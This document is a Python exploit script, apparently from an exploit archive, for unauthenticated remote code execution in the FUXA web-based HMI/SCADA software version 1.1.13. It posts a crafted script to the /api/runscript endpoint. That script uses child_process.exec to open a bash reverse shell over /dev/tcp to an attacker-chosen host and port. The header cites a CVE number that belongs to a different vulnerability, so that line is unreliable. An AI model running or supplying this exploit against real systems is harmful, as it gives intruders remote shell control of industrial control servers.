# Exploit Title: FUXA V.1.1.13-1186 - Unauthenticated Remote Code Execution (RCE)
# Date: 18/04/2023
# Exploit Author: Rodolfo Mariano
# Vendor Homepage: https://github.com/frangoteam/FUXA
# Version: FUXA V.1.1.13-1186
# CVE: CVE-2022-26134
# https://github.com/rodolfomarianocy/

from argparse import RawTextHelpFormatter
import argparse, requests

def main(rhost, rport, lhost, lport):
    url = "http://"+rhost+":"+rport+"/api/runscript"
    payload = {
        "headers":
            {
                "normalizedNames":{},
                "lazyUpdate": "null"
            },
            "params":{
                "script":{
                    "parameters":[
                    {
                    "name":"ok",
                    "type":"tagid",
                    "value":""
                    }
                    ],
                    "mode":"",
                    "id":"",
                    "test":"true",
                    "name":"ok",
                    "outputId":"",
                    "code":"require('child_process').exec('/bin/bash -c \"/bin/sh -i >& /dev/tcp/%s/%s 0>&1\"')" % (lhost,lport)
                }
            }
        }
    try:
        response = requests.post(url, json=payload)
    except requests.exceptions.ConnectionError:
        print("url connection error")

parser = argparse.ArgumentParser(formatter_class=RawTextHelpFormatter, usage="python exploit.py --rhost <ip> --rport <rport> --lhost <lhost> --lport <lport>")
parser.add_argument('--rhost', dest='rhost', action='store', type=str, help='insert an rhost', required=True)
parser.add_argument('--rport', dest='rport', action='store', type=str, help='insert an rport', default="1881")
parser.add_argument('--lhost', dest='lhost', action='store', type=str, help='insert an lhost', required=True)
parser.add_argument('--lport', dest='lport', action='store', type=str, help='insert an lport', required=True)
args=parser.parse_args()

main(args.rhost, args.rport, args.lhost, args.lport)